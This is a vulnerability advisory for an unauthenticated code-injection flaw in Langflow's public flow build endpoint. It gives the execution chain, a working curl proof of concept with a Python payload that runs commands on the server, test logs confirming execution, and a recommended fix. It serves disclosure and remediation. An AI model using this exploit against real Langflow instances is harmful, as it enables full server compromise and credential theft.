CVE-2026-33017: Langflow Code Injection Vulnerability

Summary

The POST /api/v1/buildpublictmp/{flowid}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The buildpublictmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

python @router.post("/buildpublictmp/{flowid}/flow") async def buildpublictmp( , flowid: uuid.UUID, data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED request: Request, # ... NO Depends(getcurrentactiveuser) -- MISSING AUTH ... ): """Build a public flow without requiring authentication.""" clientid = request.cookies.get("clientid") owneruser, newflowid = await verifypublicflowandgetuser(flowid=flowid, clientid=clientid)

jobid = await startflowbuild( flowid=newflowid, data=data, # Attacker's data passed directly to graph builder currentuser=owneruser, ... )

Compare with the authenticated build endpoint at line 138, which requires currentuser: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

1. startflowbuild(data=attackerdata) → generateflowevents() -- build.py:81 2. creategraph() → buildgraphfromdata(payload=data.modeldump()) -- build.py:298 3. Graph.frompayload(payload) parses attacker nodes -- base.py:1168 4. addnodesandedges() → initialize() → buildgraph() -- base.py:270,527 5. instantiatecomponentsinvertices() iterates nodes -- base.py:1323 6. vertex.instantiatecomponent() → instantiateclass(vertex) -- loading.py:28 7. code = customparams.pop("code") extracts attacker code -- loading.py:43 8. evalcustomcomponentcode(code) → createclass(code, classname) -- eval.py:9 9. prepareglobalscope(module) -- validate.py:323 10. exec(compiledcode, execglobals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepareglobalscope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

python def prepareglobalscope(module): execglobals = globals().copy()

# Imports are resolved first (any module can be imported) for node in imports: moduleobj = importlib.importmodule(modulename) # line 352 execglobals[variablename] = moduleobj

# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef) if definitions: combinedmodule = ast.Module(body=definitions, typeignores=[]) compiledcode = compile(combinedmodule, "<string>", "exec") exec(compiledcode, execglobals) # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepareglobalscope executes ast.Assign nodes. An attacker's code like x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows) 2. Attacker knows the public flow's UUID (discoverable via shared links/URLs) 3. No authentication required -- only a clientid cookie (any arbitrary string value)

When AUTOLOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker: 1. GET /api/v1/autologin → obtain superuser token 2. POST /api/v1/flows/ → create a public flow 3. Exploit via buildpublictmp without any auth

Proof of Concept

Tested Against

- Langflow version 1.7.3 (latest stable release, installed via pip install langflow) - Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTOLOGIN.)

bash Get superuser token (no credentials needed when AUTOLOGIN=true) TOKEN=$(curl -s http://localhost:7860/api/v1/autologin | jq -r '.accesstoken')

Create a public flow FLOWID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name":"test","data":{"nodes":[],"edges":[]},"accesstype":"PUBLIC"}' \ | jq -r '.id')

echo "Public Flow ID: $FLOWID"

Step 2: Exploit -- Unauthenticated RCE

bash EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint NO Authorization header, NO API key, NO credentials curl -X POST "http://localhost:7860/api/v1/buildpublictmp/${FLOWID}/flow" \ -H "Content-Type: application/json" \ -b "clientid=attacker" \ -d '{ "data": { "nodes": [{ "id": "Exploit-001", "type": "genericNode", "position": {"x":0,"y":0}, "data": { "id": "Exploit-001", "type": "ExploitComp", "node": { "template": { "code": { "type": "code", "required": true, "show": true, "multiline": true, "value": "import os, socket, json as json\n\nproof = os.popen(\"id\").read().strip()\nhost = socket.gethostname()\nwrite = open(\"/tmp/rce-proof\",\"w\").write(f\"{proof} on {host}\")\n\nfrom lfx.custom.customcomponent.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n displayname=\"X\"\n outputs=[Output(displayname=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})", "name": "code", "password": false, "advanced": false, "dynamic": false }, "type": "Component" }, "description": "X", "baseclasses": ["Data"], "displayname": "ExploitComp", "name": "ExploitComp", "frozen": false, "outputs": [{"types":["Data"],"selected":"Data","name":"o","displayname":"O","method":"r","value":"UNDEFINED","cache":true,"allowsloop":false,"toolmode":false,"hidden":null,"requiredinputs":null,"groupoutputs":false}], "fieldorder": ["code"], "beta": false, "edited": false } } }], "edges": [] }, "inputs": null }'

Step 3: Verify Code Execution

bash Wait 2 seconds for async graph building sleep 2

Check proof file written by attacker's code on the server cat /tmp/rce-proof Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

====================================================================== LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST ====================================================================== Version: Langflow 1.7.3

RUN 1: POST /api/v1/buildpublictmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19 REMOTE CODE EXECUTION CONFIRMED canary: RCE-f0d19b36 hostname: kali uid: 1000 whoami: aviral id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),... uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/buildpublictmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832 REMOTE CODE EXECUTION CONFIRMED canary: RCE-6037a271

RUN 3: POST /api/v1/buildpublictmp/{id}/flow (NO AUTH) HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7 REMOTE CODE EXECUTION CONFIRMED canary: RCE-4a796556

FINAL RESULTS Total checks: 15 VULNERABLE: 15 SAFE: 0 RCE confirmed: 3/3 runs Reproducible: YES (100%)

Impact

- Unauthenticated Remote Code Execution with full server process privileges - Complete server compromise: arbitrary file read/write, command execution - Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: envkeys exfiltrated) - Reverse shell access for persistent access - Lateral movement within the network - Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

| Aspect | CVE-2025-3248 | This Vulnerability | |--------|--------------|-------------------| | Endpoint | /api/v1/validate/code | /api/v1/buildpublictmp/{id}/flow | | Fix applied | Added Depends(getcurrentactiveuser) | None -- NEW vulnerability | | Root cause | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via data param | | Code execution via | validatecode() → exec() | createclass() → prepareglobalscope() → exec() | | CISA KEV | Yes (actively exploited) | N/A (new finding) | | Can simple auth fix? | Yes (and it was fixed) | No -- endpoint is designed to be unauthenticated; the data parameter must be removed |

Recommended Fix

Immediate (Short-term)

Remove the data parameter from buildpublictmp. Public flows should only execute their stored flow data, never attacker-supplied data:

python @router.post("/buildpublictmp/{flowid}/flow") async def buildpublictmp( , flowid: uuid.UUID, inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None, # REMOVED: data parameter -- public flows must use stored data only ... ):

In generateflowevents → creategraph(), only the buildgraphfromdb path should be reachable for unauthenticated requests:

python async def creategraph(freshsession, flowidstr, flowname): # For public flows, ALWAYS load from database, never from user data return await buildgraphfromdb( flowid=flowid, session=freshsession, ... )